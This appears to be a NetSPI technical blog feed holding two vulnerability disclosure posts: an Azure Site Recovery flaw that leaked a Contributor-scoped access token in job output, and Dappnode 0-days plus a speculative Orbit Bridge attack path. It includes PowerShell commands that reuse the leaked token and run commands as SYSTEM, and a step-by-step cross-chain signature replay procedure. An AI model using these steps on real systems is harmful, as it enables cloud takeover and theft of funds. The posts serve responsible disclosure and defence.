Technical Blog - NetSPI https://www.netspi.com/blog/technical/ Trusted by nine of the top 10 U.S. Banks Fri, 29 Mar 2024 21:30:27 +0000 en-US hourly 1 https://wordpress.org/?v=6.5 Elevating Privileges with Azure Site Recovery Services https://www.netspi.com/blog/technical/cloud-penetration-testing/elevating-privileges-with-azure-site-recovery-services/ Thu, 28 Mar 2024 13:00:00 +0000 https://www.netspi.com/?p=32170 Discover how NetSPI uncovered and reported a Microsoft-managed Azure Site Recovery service vulnerability and how the finding was remediated.

The post Elevating Privileges with Azure Site Recovery Services appeared first on NetSPI.

]]>
Cleartext credentials are commonly targeted in a penetration test and used to move laterally to other systems, obtain sensitive information, or even further elevate privileges. While this is a low effort finding to exploit, threat actors will utilize cleartext credentials to conduct attacks that could have a high impact for the target environment.

NetSPI discovered a cleartext Azure Access Token for a privileged Managed Identity. This prompted further investigation in which we were able to determine that the vulnerability was caused by the Microsoft-managed Azure Site Recovery service. In this blog, we’ll share the technical details around how we found and reported this vulnerability to Microsoft. Additionally, we’ll cover how the finding was remediated.

TL;DR

  1. The Azure Site Recovery (ASR) service utilizes an Automation Account with a System-Assigned Managed Identity to manage Site Recovery extensions on the enrolled Virtual Machines
  2. The ASR created Automation Account executes a Runbook that is hidden from the user, but the corresponding Job output for the Runbook remains visible
  3. A cleartext Management-scoped Access Token for the System-Assigned Managed Identity, which has the Contributor role over the entire subscription, was disclosed in the Job output and could be used to authenticate as the Managed Identity
  4. A lower-privileged user role could read this Access Token and authenticate as the Managed Identity, elevating their privileges to a Contributor over the entire subscription
  5. Microsoft has remediated this vulnerability for new and existing Azure Site Recovery deployments as of 02/13/2024

Background

The Azure Site Recovery (ASR) service is used to replicate enrolled Azure resources across different regions as a way to deploy replication or failover processes to maintain accessibility during an unplanned outage.

Requirements

The Azure Site Recovery service is not enabled by default. The Azure subscription was vulnerable to this privilege escalation path when:

  1. A Recovery Service Vault was created
  2. Site Recovery was enabled with enrolled Virtual Machines from a different region
  3. Extension Update Settings are turned on

It should be noted that the Azure Site Recovery service needs to be initially configured and the Extension Update Settings enabled by an Owner of the subscription. This is due to the fact that the service attaches the Contributor role to the Managed Identity that is created for the attached Automation Account.

Discovering the Vulnerability

The Extension Update Setting (when enabled) creates a new Automation Account in the Subscription, in this case “blogASR-c99-asr-automationaccount”, which is used to manage the Site Recovery extensions on the enrolled Virtual Machines.

Azure-Site-Discovery_1

The Automation Account periodically executes a Runbook to ensure the Site Recovery extensions are updated on the enrolled Virtual Machines. This Runbook is hidden from the end user since it’s created by the managed service (ASR).

We were able to determine the name of the Runbook as it is accessible in the JSON view for the Job.

Although the Runbook is hidden from the end user, the Job output remains visible under the Automation Account’s “Jobs” tab.

The Jobs will appear as MS-SR-Update-MobilityServiceForA2AVirtualMachines or MS-ASR-Modify-AutoUpdateForA2AVirtualMachines. Both Jobs contained output with a cleartext Access Token being truncated.

The Job output also shows that the authentication type is for the System Assigned Managed Identity. We discovered that this System-Assigned Managed Identity also gets created with the Automation Account.

Searching the Object ID in Entra reveals the “blogASR-c99-asr-automationaccount” Enterprise Application.

The assigned role can be viewed in the subscription’s Access Controls (IAM). Notice that the Contributor role is granted to the application over the entire subscription.

Elevating Privileges to the System Assigned Managed Identity

The */read or Microsoft.Automation/automationAccounts/jobs/output/read permissions are required to be able to read the Job output. Depending on the scope, this means lower-privileged user roles such as Reader or Log Analytics Reader (and even more obscure roles like Managed Applications Reader) can view the Access Token to elevate privileges!

A clear escalation path has now been identified with any lower-privileged user role able to view the Job output and see the cleartext Access Token, but how can we retrieve the full Access Token that is being truncated in the Portal view? To demonstrate the escalation path, we used a lower-privileged user (blogReader) with the Reader role.

We can use the Az PowerShell module with the low-privileged user (blogReader) to retrieve the Job output and view the full access token. We simply need to supply the name of the Automation Account, the Job ID, and the Resource Group for the Automation Account. Notice that the Epoch timestamp shows the token will be valid for 24 hours after its creation.

PS > Get-AzContext | FL
Name               : [REDACTED] - blogReader
Account            : blogReader
Environment        : AzureCloud
Subscription       : [REDACTED]
Tenant             : [REDACTED]
PS > Get-AzAutomationJobOutput -AutomationAccountName " blogASR-c99-asr-automationaccount" -Id 39814559-5661-4de3-857b-bb2504c4fcd6 -ResourceGroupName "blogRG2" -Stream "Any" | Get-AzAutomationJobOutputRecord
[TRUNCATED]
Value: {[expires_on, 1704853521], [resource, https://management.core.windows.net/], [token_type, Bearer], [access_token, eyJ0eXAi[REDACTED]]}
[TRUNCATED]

With the Access Token and Enterprise Application ID, the low-privileged user (blogReader) can authenticate as the System-Assigned Managed Identity which has the Contributor role on the entire subscription:

PS > $accesstoken = "eyJ0eXAi[REDACTED]"
PS > Connect-AzAccount -AccessToken $accesstoken -AccountId ee7f506d-65d4-492f-acb1-0ddb8e0d29cd
Account Environment   SubscriptionName    TenantId
-------------------   ----------------    -----------
[REDACTED]            [REDACTED]          [REDACTED]

We used the Az PowerShell module to verify the credentials are valid and have the context of a Contributor:

PS > $token = ((Get-AzAccessToken).Token).Split(".")[1].Replace('-', '+').Replace('_', '/')
PS > while ($token.Length % 4) {$token += "="}
PS > # Base64 Decode, convert from json, extract OID, pass into filter for Get-AzRoleAssignment to find current roles
PS > Get-AzRoleAssignment | where ObjectId -EQ ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($token)) | ConvertFrom-Json).oid
RoleAssignmentName : 721d0fc1-9571-587a-ac51-f71f70b79310
RoleAssignmentId   : /subscriptions/[REDACTED]/providers/Microsoft.Authorization/roleAssignments/721d0fc1-9571-587a-ac51-f71f70b79310
Scope              : /subscriptions/[REDACTED]
DisplayName        :
SignInName         :
RoleDefinitionName : Contributor
RoleDefinitionId   : b24988ac-6180-42a0-ab88-20f7382dd24c
ObjectId           : cd459283-0d93-47fd-a614-c9280b2634ef
[TRUNACTED]

Potential Impact

Elevating privileges to the Contributor role over the subscription has a high impact for Azure users. Depending on the environment, this vulnerability allows for further elevation within a subscription.

For instance, the Contributor role provides administrative access over Virtual Machines which would allow an attacker to execute “Run Commands” as “NT Authority\SYSTEM”. In cases where Domain Controllers are present in the subscription, this elevation path allows an attacker to compromise the joined Active Directory environment as a Domain Administrator.

PS > Invoke-AzVMRunCommand -ResourceGroupName 'blogRG1' -VMName 'blogDC' -CommandId 'RunPowerShellScript' -ScriptPath 'whoami.ps1'
Value[0]        :
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       : nt authority\system
[TRUNCATED]

Another example, previously outlined by Karl Fosaaen in the NetSPI blog, is abusing access to Cloud Shell images in Storage Accounts. Contributors have read/write access to Cloud Shell images in which they can inject the image with malicious commands and upload the modified image which will execute those commands in the context of that user.

While these circumstances may not be present in every environment, it’s important to understand the impact that this vulnerability can have when it’s abused by an attacker.

Remediation

Microsoft remediated this vulnerability by removing the Access Token from the Automation Account’s Job output.

MSRC Disclosure Timeline

  • 01/09/2024 – The initial report was submitted to MSRC
  • 01/09/2024 – MSRC assigns a case number 84800
  • 01/18/2024 – MRCS confirms the vulnerability
  • 02/13/2024 – MSRC pushes a fix for the vulnerability
  • 02/22/2024 – NetSPI verifies the vulnerability has been remediated for new and existing Azure Site Recovery deployments

Special thanks goes out to NetSPI’s Karl Fosaaen and Thomas Elling for contributing to the research for this vulnerability.

For more information on Cloud Pentesting, check out these resources below:

The post Elevating Privileges with Azure Site Recovery Services appeared first on NetSPI.

]]>
Web2 Bugs in Web3 Systems https://www.netspi.com/blog/technical/blockchain-penetration-testing/web2-bugs-in-web3-systems/ Tue, 19 Mar 2024 20:32:28 +0000 https://www.netspi.com/?p=32145 Discover how attackers use vulnerabilities in off-chain components to achieve critical impact against on-chain systems.

The post Web2 Bugs in Web3 Systems appeared first on NetSPI.

]]>
The interaction between “web2” client-server architectures (not blockchain) and “web3” systems (blockchain) presents a unique set of security challenges. While web3 promises enhanced security and decentralization, at present, underlying infrastructure supporting web3 systems often leverage classic centralized components such as standard server, cloud, container setups, and web-based APIs. In particular, cross-chain bridges often rely on off-chain components for critical operations such as transaction signing and event relaying, and as such these components present a unique attack surface which is often overlooked. 

TL;DR

In this post, we will summarize some ongoing research we have been conducting on the use of web2 components in web3 systems, that led to the identification and prompt mitigation of several web-based attack paths in popular node management framework Dappnode. Read on to learn: 

  • Various 0-day in a popular node management framework, Dappnode 
  • How Dappnode can be exploited to gain remote administrative access to Dappnode-based systems.  
  • Analysis on a possible root cause & attack path behind a recent high-profile DeFi security incident affecting the Orbit Chain bridge, which appears to involve the bridge’s supporting infrastructure. 

We will also elaborate on a possible root cause for the January 2024 Orbit Bridge security incident, thought to have been perpetrated by Lazarus Group (APT38) at the time of writing, stemming in part from the interaction between the Orbit validator web API and Orbit bridge router smart contracts. Finally, we highlight the commonalities between our findings and the wider challenges affecting web3 systems and its users.

Proactive Security: Dappnode findings  

Dappnode is a popular open-source plug-and-play node solution for the Ethereum ecosystem, allowing users to quickly and easily set up, run or share preconfigured nodes for a variety of L1 and L2 systems. Below are high level technical details for Dappnode: 

  • Dappnode offers containerized versions of popular node software, referred to as Dappnode packages 
  • Core Dappnode system components are also containerized in a modular way 
  • Dappnode uses the InterPlanetary File System (IPFS) to immutably store Dappnode packages, referenced via IPFS Content Identifier (CID) hashes 
  • Dappnode also uses the Ethereum Naming Service (ENS) for package versioning and naming 
  • Dappnode provides optimized hardware preconfigured with Dappnode for enhanced support 
  • A stock Dappnode deployment supports three methods to connect/manage the Dappnode: 
  • Local network acces 
  • WiFi: A stock Dappnode deployment can function as a WiFi access point which effectively segments Dappnode services from a wider local network 
  • VPN: Dappnode supports the Wireguard and OpenVPN standards to allow node operators to remotely access their Dappnode deployment 
     

During an engagement against one of our client’s web3 systems, we identified several issues in the system’s third-party Dappnode dependencies, which are summarized in this post. As NetSPI takes responsible disclosure seriously, prior to the release of this post the vulnerabilities discussed here were shared with the DappNode team. As of DappManager version 0.2.82, the resultant attack paths have been remediated, alongside additional defense in depth improvements being made available over subsequent releases.  

These individual issues included: 

  • Post-authentication remote command execution. 
  • Pre-authentication cross-site scripting (XSS). 
  • Pre-authentication local file disclosure. 
  • Various infrastructure/host-related gaps such as Docker container breakout/local privilege escalation opportunities. 
  • Lower-risk issues such as permissive cross-origin resource sharing (CORS) policies. 

Per the scope of the particular engagement, one of the goals was to demonstrate the practical risk of identified issues from the perspective of a remote, unauthenticated threat actor. By combining these issues, it was possible to build two proof-of-concept single-click exploits, described below. 

1-Click Remote Node Takeover 

TL;DR 

Through a combination of issues, malicious Dappnode content URLs can be created, which provide remote, unauthenticated attackers with persistent back-door administrative access to targeted Dappnode systems when visited by an authenticated Dappnode operator, giving the attacker full control of the underlying host system. 

Pre-authentication Reflected Cross-Site Scripting (XSS) via my.dappnode IPFS Proxy

Prior to the security patches, the Dappmanager package provided a proxy for the IPFS gateway, provided by the local IPFS node, allowing IPFS content to be served from the Dappnode management UI via Content Identifier (CID) hashes. IPFS content can be referenced and dynamically served. 

The Dappnode IPFS gateway proxy did not sufficiently validate content retrieved via IPFS, allowing for malicious static web pages to be served from the my.dappnode domain. By uploading an XSS payload to IPFS and referencing it via the my.dappnode/ipfs IPFS proxy URL, reflected XSS was possible.  

In principle, this was akin to an XSS vulnerability arising from the insecure handling of contents from file uploads or cloud storage. As IPFS was also used for image and icon retrieval, this issue could be exploited against unauthenticated users with network access to the Dappnode.  

This issue functioned as an “entry point” into a Dappnode operator’s internal network. As the final URL was indistinguishable from a regular Dappnode IPFS link. 

Post-authentication Remote Command Execution (RCE) in privileged Dappmanager container

The Dappmanager package serves as the core component of the Dappnode framework and is responsible for container management and updates. It is managed by the Dappmanager UI, which is intended only to be accessible locally by node operators. 

An instance of authenticated remote command injection was found in a management-related API call, which provided command execution in the context of the Dappmanager container.  

As the Dappmanager container requires access to the host system’s Docker socket for container management, it was possible to break out of the container and gain an administrative shell on the host by creating a new container with access to the host’s filesystem and network stack. 

Using the XSS issue affecting the IPFS component, an XSS payload could have been created which forced a victim’s browser to abuse the command injection vulnerability against their own Dappnode. The end result was the means to remotely compromise a user’s Dappnode after visiting a single link. 

This is shown in the screenshot below, where a reverse TCP shell was executed with root privileges on the host Dappnode system upon the victim visiting the malicious URL: 

1-Click Remote VPN Config Exfiltration 

Local File Disclosure and Cross-Origin Resource Sharing (CORS) policies in WireGuard API

WireGuard is a connectionless VPN protocol allowing for easy and secure access between clients and server. A WireGuard server will only accept clients with verified public keys. 

The Dappnode’s WireGuard package offers a simple API for retrieving WireGuard client configuration files. A local file disclosure issue was identified in this API. While only files with a specific extension could be disclosed via this issue, it still allowed attackers with access to the Dappnode’s network to exfiltrate WireGuard client and server profiles. 

Cross-Origin Resource Sharing (CORS) policies

CORS misconfigurations are particularly useful for attackers looking to weaponize XSS issues because a permissive CORS policy effectively nullifies the Same Origin Policy, allowing requesting origins a degree of access over the contents returned from requests that they otherwise would not have.  

The WireGuard API was configured with an edge-case CORS misconfiguration that we usually encounter while performing network and application penetration tests, which allowed any requesting origin to view its responses. 

Proof-of-concept exploit code was developed to combine these issues along with the IPFS reflected XSS vulnerability. Similarly, malicious URLs may be created which when visited from a victim’s internal Dappnode network, results in their Dappnode client and server WireGuard VPN credentials being exfiltrated to an attacker’s web server, allowing for persistent, anonymous access to the operator’s local Dappnode network, in addition to other VPN-specific attacks. 

This is shown in a screenshot below, where the node’s VPN profiles were exfiltrated to an external Burp Suite Collaborator domain.

During their own security audits, our web3 partner Blaize has identified similar issues in the traditional application components used by some decentralized systems, such insufficient signature validation and insecure secret storage. A holistic security auditing approach is therefore recommended, encompassing the adversarial-based testing of both decentralized and traditional application components, in addition to security design and architecture reviews. 

The concept of bridge security emerges as a critical focal point in the broader discussion of web3 vulnerabilities. Bridges, which facilitate the transfer of assets between different blockchains, represent a vital infrastructure component within the web3 ecosystem. However, they also introduce unique security challenges, as they must securely manage and verify transactions across disparate networks with varying security protocols and assumptions. 

Bridge Security Concepts 

Ensuring effective security auditing of both on and off-chain aspects of a project or solution is key to preventing breaches. This section will dive into a breakdown of a potential attack vector for the recent Orbit Bridge breach. 

Most blockchain frameworks – including base Layer 1 chains such as Ethereum mainnet or Layer 2 scaling solutions such as Arbitrum – are islands unto themselves, with no means to communicate between each other.  

To allow blockchain interoperability, cryptocurrency bridges were designed, that act as relay stations which allow information and assets to be exchanged between otherwise incompatible chains. They are essentially accounting books where funds and information is sent through one blockchain are calculated and distributed accordingly on another blockchain.  

Bridges are notoriously difficult to secure in part because they are affected by what is referred to as the “Interoperability Trilemma”. It broadly states that bridges may only effectively cater to any two of the three following properties: 

  • Trustlessness – Like the underlying protocols bridges operate on, this refers to the ability of a bridge to operate without requiring users to place trust in any specific party or intermediary. In a trustless system, security and operations are decentralized and based on cryptographic proofs and consensus mechanisms, removing the need for a central authority.  
  • Extensibility – An extensible bridge can seamlessly integrate different blockchains, regardless of their underlying architecture or consensus mechanisms. 
  • Generalizability – A generalizable bridge can interpret different smart contract languages and execution environments, enabling more sophisticated interoperability, like triggering events or functions on one blockchain based on transactions or smart contract states from another. Achieving high levels of generalizability, particularly while limiting opportunities for security issues, is challenging due to the diverse nature of blockchain protocols and smart contract languages. 

The Interoperability Trilemma has its roots in the more general Blockchain Trilemma, first outlined by Vitalik Buterin to describe the compromises often made between security, decentralization, and scalability when designing new blockchain protocols. 

Although all three facets of the Interoperability Trilemma have inherent security implications, a given bridge’s degree of trustlessness can result in it being classified as either a trusted bridge – a bridge that heavily or totally relies on a central authority, or a trustless bridge, the operations of which are primarily maintained by means of smart contracts and on-chain, decentralized logic. 

Even in the case of trustless bridges, the scalability challenges inherent to on-chain computation has resulted in bridge designs which outsource resource intensive, sensitive, or otherwise difficult to implement features of a given bridge to occur off-chain. As is the case for many decentralized applications , trustless bridges can be prone to some degree of centralization. 

However, Blaize also notes that bridge engineers are actively tackling the issue of centralization in various ways. One such way, as implemented in the Rainbow Bridge, involves implementing decentralized bridge relayers, wherein key management issues are delegated to each relayer individually. This aims to reduce the reliance on single relayers, as the compromise of one relayer is less likely to lead to the compromise of the overall bridge. 

Orbit Bridge – Pivoting from off-chain to on-chain

The Orbit Bridge is a cross-chain protocol built on the Orbit Chain. It was designed to allow for cross-chain asset transfers between layer 1 and layer 2 chains, including Ethereum, Ripple, and Arbitrum. On terminal ends of the bridge on each chain are “Vault” contracts, which held a bridge user’s funds. For a user to withdraw funds on behalf of the bridge, the withdrawal transaction is required to be signed by signed by a minimum number of off-chain bridge validators. 

As mentioned earlier, in the early hours of January 1 2024, a high-profile exploit occurred against the Orbit Bridge, resulting in approximately $81.5 million worth of various tokens being stolen. The bridge was subsequently disabled by Ozys, the company behind the bridge’s development. The bridge remains offline as of writing. 

The specific root cause of the incident has yet to be publicly released as of writing, with a January 2024 official statement from Orbit Chain reiterating that the attack path is not yet fully clear.  

We conducted research into the incident, and a possible attack path was identified. In keeping with the theme of this post, this potential attack path involves the abuse of certain web-based bridge validator APIs, in conjunction with a design flaw in the on-chain transaction validation process. This possible attack path is discussed below.  

Note that this is only a possible attack path, and it has in no way been validated for accuracy by Orbit Chain, Ozys, or any affiliated party. These are only inferences made against open-source codebases and publicly available documentation, and further investigatory efforts are likely required before a definitive root cause can be attributed. 

Additionally, as the Orbit Bridge RPC endpoints were taken offline following the incident and are not available as of writing, it is not possible to definitively confirm this attack path as of writing. As such, some level of educated conjecture may be evident during the research.

On-chain component analysis 

The issues in the affected smart contracts became clear shortly after the incident, evident from the EthVault contract’s withdraw and _validate functions as seen in their implementation below. Vaults on other supported chains contained similar logic: 

    ///@param bytes32s [0]:govId, [1]:txHash 
    ///@param uints [0]:amount, [1]:decimals 
    function withdraw( 
        address hubContract, 
        string memory fromChain, 
        bytes memory fromAddr, 
        bytes memory toAddr, 
        bytes memory token, 
        bytes32[] memory bytes32s, 
        uint[] memory uints, 
        uint8[] memory v, 
        bytes32[] memory r, 
        bytes32[] memory s 
    ) public onlyActivated { 
        require(bytes32s.length >= 1); 
        require(bytes32s[0] == sha256(abi.encodePacked(hubContract, chain, address(this)))); 
        require(uints.length >= 2); 
        require(isValidChain[getChainId(fromChain)]); 
        bytes32 whash = sha256(abi.encodePacked(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints)); 

        require(!isUsedWithdrawal[whash]); 
        isUsedWithdrawal[whash] = true; 

        uint validatorCount = _validate(whash, v, r, s); 
        require(validatorCount >= required); 
 
        address payable _toAddr = bytesToAddress(toAddr); 
        address tokenAddress = bytesToAddress(token); 
        if(tokenAddress == address(0)){ 
            if(!_toAddr.send(uints[0])) revert(); 
        }else{ 
            if(tokenAddress == tetherAddress){ 
                TIERC20(tokenAddress).transfer(_toAddr, uints[0]); 
            } 
            else{ 
                if(!IERC20(tokenAddress).transfer(_toAddr, uints[0])) revert(); 
            } 
        } 
        emit Withdraw(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints); 
    } 
… 
    function _validate(bytes32 whash, uint8[] memory v, bytes32[] memory r, bytes32[] memory s) private view returns(uint){ 
        uint validatorCount = 0; 
        address[] memory vaList = new address[](owners.length); 

        uint i=0; 
        uint j=0; 

        for(i; i<v.length; i++){ 
            address va = ecrecover(whash,v[i],r[i],s[i]); 
            if(isOwner[va]){ 
                for(j=0; j<validatorCount; j++){ 
                    require(vaList[j] != va); 
                } 

                vaList[validatorCount] = va; 
                validatorCount += 1; 
            } 
        } 

        return validatorCount; 
    } 

A call to the withdraw function requires details for the transaction (source chain, sender/recipient/token addresses, amount, etc.), and signature verification variables (V, R, S) derived from a validator’s signature. For a more detailed understanding of these values, refer to the Ethereum Yellow Paper, however for this article, we can treat these values as the actual signature. 

The main issue with the Vault contracts was that the withdraw functions solely relied on provided withdrawal transaction hashes being signed by a certain number of validators, and not the actual transaction details themselves. 

As long as the Vault contracts registered that at least the required number of validators had signed a transaction hash (7 at the time of the incident), the withdrawal from any account providing the V/R/S signature values and transaction hash would be processed, provided that the specific transaction hash has not been used before. The attacker abused this to execute several withdrawal requests, mainly against the Vault on Ethereum mainnet, for repeated amounts of ETH, wBTC, USDT, USDC, and DAI.   

While the contracts certainly should have validated that transaction arguments correspond to provided signature structures, this incident would not have been possible without the attacker gaining access to valid transaction signatures from validators, prior to the signatures being included in the Vault’s isUsedWithdrawal mapping. 

A known issue highlighted in an April 2022 security audit of the Vault contracts by security firm Theori highlighted a potential signature replay issue affecting the same function, however no means to “fake” a signature were identified in the contracts or the attacking address’s on-chain activity in the time leading up to the incident. Furthermore, signatures provided by the attacker can be confirmed to originate of Orbit Bridge validators via the following Forge proof-of-concept test suite

For these reasons, it was initially speculated that the private keys for 7 required validators were somehow compromised, and that the attackers used them to sign their own transaction hashes. However, the official statement from Ozys implied that following investigations, it was assumed that neither a specific smart contract vulnerability, nor an outright private key compromise were to blame for the incident. 

Note however that some of the attacker’s transactions, such as the theft of 30 million USDT, also contained signature values for addresses which are not included in the EthVault’s isOwner mapping, in addition to the required number of validator signatures. This is seen in the proof-of-concept output below. 

Possible reasons for the inclusion of these additional signatures from non-validator addresses in the exploit transaction include re-use of the attacker’s tools used to generate the signature, which may have referenced additional addresses meant for use against vault contracts on chains aside from Ethereum mainnet. 

Off-chain component analysis 

If private keys were not compromised, it would follow that there may have been exploitable flaws in the signature generation process, which ultimately allowed an attacker to sign arbitrary transaction data on behalf of validators. 

The Orbit Bridge documentation offers some clues as to where such a flaw may originate. The documentation describes the off-chain validators, and instructions to deploy a validator in AWS. The process for being formally vetted as a bridge validator is also referenced.  

Web API endpoints for confirming and validating transaction hashes are referenced in the documentation. However, the documentation generally lacks specific details about the validation process: 

The Orbit Chain GitHub organization includes the bridge-dockerize repository, a containerized version of the validator codebase for deployment in AWS. The bridge-contract repository also contains versions of the Vault contracts for supported chain, including the Vault for the Orbit Chain itself. 

The validator codebase references these API routes: 

bridge-dockerize/routes/v1/gov.js: 

… 
router.get("/getTransaction/:chain/:migAddr/:transactionId", async function (req, res, next) { 
    … 
    return res.json(await govInstance.getTransaction(chain, mig, tid)); 
}) 

router.get("/confirm/:chain/:migAddr/:transactionId/:gasPrice/:chainId", async function (req, res, next) { 
    … 
    return res.json(await govInstance.confirmTransaction(chain, mig, tid, gasPrice, chainId)); 
}) 

…   

router.get("/validate/:migAddr/:sigHash", async function (req, res, next) { 
    const mig = req.body && req.body.migAddr || req.params && req.params.migAddr; 
    const sigHash = req.body && req.body.sigHash || req.params && req.params.sigHash; 
    return res.json(await govInstance.validateSigHash(mig, sigHash)); 
}); 
… 

Notably, the validator itself does not implement any kind of access control for the APIs. Deploying the validator container exposes the API on port 17090 of the host system via Docker’s default bridge network driver. It is assumed however that the validator API is not intended to be exposed publicly, and that the docker image is intended to be restricted to an internal network. 

The validator’s validateSigHash function, called by visiting the /validator/ route, is shown below. The function takes two arguments, an address of the Vault contract multisig, and transaction hash sigHash: 

bridge-dockerize/src/evm/index.js: 

… 
    async validateSigHash(multisig, sigHash) { 
        if(this.chainName !== "ORBIT") return "Invalid Chain"; 
        if(multisig.length !== 42 || sigHash.length !== 66) return "Invalid Input"; 

        const orbitHub = instances.hub.getOrbitHub(); 
        const validator = {address: this.account.address, pk: this.account.pk}; 

        let mig = new orbitHub.web3.eth.Contract(this.multisigABI, multisig); 

… 

However, arguments are directly taken from the /validator URL, and are only verified for length. The expected sigHash length of 66 matches the length of the SHA256 transaction hashes (“0x” + 64 bytes) generated in the Vault contracts.  

The multiSig contract address is then used to reference a contract object mig, using an ABI which closely matches the previously shown Vault contracts. Therefore, the ABI is essentially used as an interface for the address, which may be any contract on the Orbit Chain network which sufficiently implements the defined functions. 

bridge-dockerize/src/evm/index.js: 

…   
let confirmedList = await mig.methods.getHashValidators(sigHash).call().catch(e => {return;}); 
        if(!confirmedList) return "GetHashValidators Error"; 

        let myConfirmation = !!(confirmedList.find(va => va.toLowerCase() === validator.address.toLowerCase())); 

        let required = await mig.methods.required().call().catch(e => {return;}); 
        if(!required) return "GetRequired Error"; 

        if(myConfirmation || parseInt(required) === parseInt(confirmedList.length)) 
            return "Already Confirmed" 
…

Various Vault contract functions are then called using the mig contract reference. Notice however that the actual values returned by the contract are also not subject to stringent verification. This is possibly because the developers assumed that invalid contract calls would revert on-chain, and would be caught by default web3.js library error handling. 

In any case, because any Orbit Chain contract address can be specified, it would be possible to return any value necessary to satisfy these checks, such as the myConfirmation check on line 841, which only checks that a validator address is included in the return values from the Vault/Multisig contract’s getHashValidators function. 

The validator’s private key is then used to sign the sigHash argument, before the resulting signature’s V,R, and S values are formatted in an array named params

bridge-dockerize/src/evm/index.js: 

…   
        let sender = Britto.getRandomPkAddress(); 
        if(!sender || !sender.pk || !sender.address){ 
            return "Cannot Generate account"; 
        } 

        let signature = Britto.signMessage(sigHash, validator.pk); 
        let params = [ 
            validator.address, 
            sigHash, 
            signature.v, 
            signature.r, 
            signature.s, 
        ] 

        let txData = { 
            from: sender.address, 
            to: multisig, 
            value: orbitHub.web3.utils.toHex(0) 
        } 
… 

The remainder of the validateSigHash function is shown below. On line 873 of the validator codebase, the param array including the signature values were used as arguments to the validate function in the Orbit Chain’s OrbitVault contract, before the OrbitHub contract is used to broadcast a signed transaction using the data returned from the OrbitVault contract via web3.js.  

bridge-dockerize/src/evm/index.js:  

… 
let gasLimit = await mig.methods.validate(...params).estimateGas(txData).catch(e => {return;}); 
        if(!gasLimit) return "EstimateGas Error"; 

        let data = mig.methods.validate(...params).encodeABI(); 
        if(!data) return "EncodeABI Error"; 

        txData.data = data; 
        txData.gasLimit = orbitHub.web3.utils.toHex(FIX_GAS); 
        txData.gasPrice = orbitHub.web3.utils.toHex(0); 
        txData.nonce = orbitHub.web3.utils.toHex(0); 

        let signedTx = await orbitHub.web3.eth.accounts.signTransaction(txData, "0x"+sender.pk.toString('hex')); 
        let tx = await orbitHub.web3.eth.sendSignedTransaction(signedTx.rawTransaction).catch(e => {console.log(e)}); 
        if(!tx) return "SendTransaction Error"; 

        return tx.transactionHash; 
} 

… 

Note that only the Orbit Chain’s own Vault contracts on bridge destination chains implemented such a public validate function, and Vault implementations on other chains did not.  

Below is the public validate function, inherited by the OrbitVault implementation contract from the MessageMultiSigWallet contract. 

… 
   contract OrbitVaultStorage { 
    … 
    mapping (bytes32 => bool) public validatedHashs; 
    mapping (uint => bytes32) public hashs; 
    uint public hashCount = 0; 
    mapping (bytes32 => uint) public validateCount; 
    mapping (bytes32 => mapping(uint => uint8)) public vSigs; 
    mapping (bytes32 => mapping(uint => bytes32)) public rSigs; 
    mapping (bytes32 => mapping(uint => bytes32)) public sSigs; 
    mapping (bytes32 => mapping(uint => address)) public hashValidators; 

… 

Therefore, calling the /validate API endpoint with any 64-byte hexadecimal string appears to publicly expose the V/R/S values of the string’s signature via the OrbitVault contract on Orbit Chain. Crucially, the Orbit Chain Vault was also the only contract to publicly expose V/R/S values via getters. Other Vault/Multisig contract implementations did not include these mappings in storage. 

Recall that transaction details submitted to the Vaults withdraw functions are used to generate a SHA256 whash transaction hash. This means that should an attacker be able to call this API with a transaction hash derived from arbitrary transaction details, they would effectively be able to expose the bridge validator’s signature via the OrbitVault contract , or possibly their own malicious contract on the Orbit Chain, before the transaction has been executed. 

Finally, another potential attack vector could be within the dockerized validator’s, where the private key is defined in the following example configuration file

bridge-dockerize/.example.env: 

VALIDATOR_PK= 

# EXPANDED NODE RPC ex) infura, alchemy, etc... 
# Type of value must be an array. 
# ex) ["https://mainnet.infura.io/v3/[PROJECT_ID]", "https://eth-mainnet.g.alchemy.com/v2/[PROJECT_ID]"] 
AVAX=[] 
BSC=[] 
CELO=[] 
ETH=[] 
FANTOM=[] 
HARMONY=[] 
HECO=[] 
KLAYTN=[] 
MATIC=[] 
XDAI=[] 

#KAS CREDENTIAL 
KAS_ACCESS_KEY_ID= 
KAS_SECRET_ACCESS_KEY= 

#TON 
TON_API_KEY= 
… 

Testing showed that the private key was expected in plaintext format. More interestingly though, it appears that the same validator private key is used to sign transactions for all supported chains. This likely means that signatures generated on the Orbit Chain will be valid on all supported chains, barring nonstandard configurations such as the validator EOA addresses on certain chains being abstracted accounts. 

Therefore, it would be possible for an attacker with network access to the validator API to execute a kind of cross-chain signature “replay” attack, using values from the OrbitVault contract (on the Orbit Chain network) public vSig/rSig/sSig mappings as the signature to be used in a malicious call to the EthVault contract on Ethereum mainnet. 

The possible attack path can therefore be summarized as follows: 

  1. Attackers identify at least 7 Bridge validator deployment (or validator deployments configured with the private key for up to 7 approved validator addresses) for validator EOA accounts marked as owners/validators in the target Vault contracts. 
  2. Attackers gain access to the validator APIs, possibly abusing weakened ingress network controls on Ozys’ internal/AWS networks. 
  3. Attackers generate their own transaction hashes in the same format used by the Vault contracts, which include details such as amount, toAddress, fromAddress, etc., and call the validator API endpoints with this transaction hash and the address of the OrbitVault contract, deployed on the Orbit Chain network. 
  4. This causes the API to post the V/R/S signature values for the attacker’s transaction hash to the OrbitVault contract, which exposes these values in the contract’s public vSig, rSig, and sSig mappings. 
  5. The same validator addresses are used across supported chains, so attackers may simply query the OrbitVault contract’s public getter functions to get the signature values, and use them to call the withdraw functions on the supported chain’s Vault contracts to execute their signed transactions. 

Counterpoints

The following potential outliers cast doubt onto this theory: 

  • Different node codebase: The validator codebase in the bridge-dockerize public repository may not be the exact codebase used by actual Orbit Bridge validators at the time of the attack.  
  • The Orbit Bridge documentation does not suggest this however, as it makes several references to the public repository. 
  • Abstracted validator accounts: Similarly, if a different validator codebase which abstracted validator addresses was in use at the time of the attack, then an abstracted validator’s address may differ between chains.  
  • However, no evidence of account abstraction was observed in the validator codebase or affected contracts. 
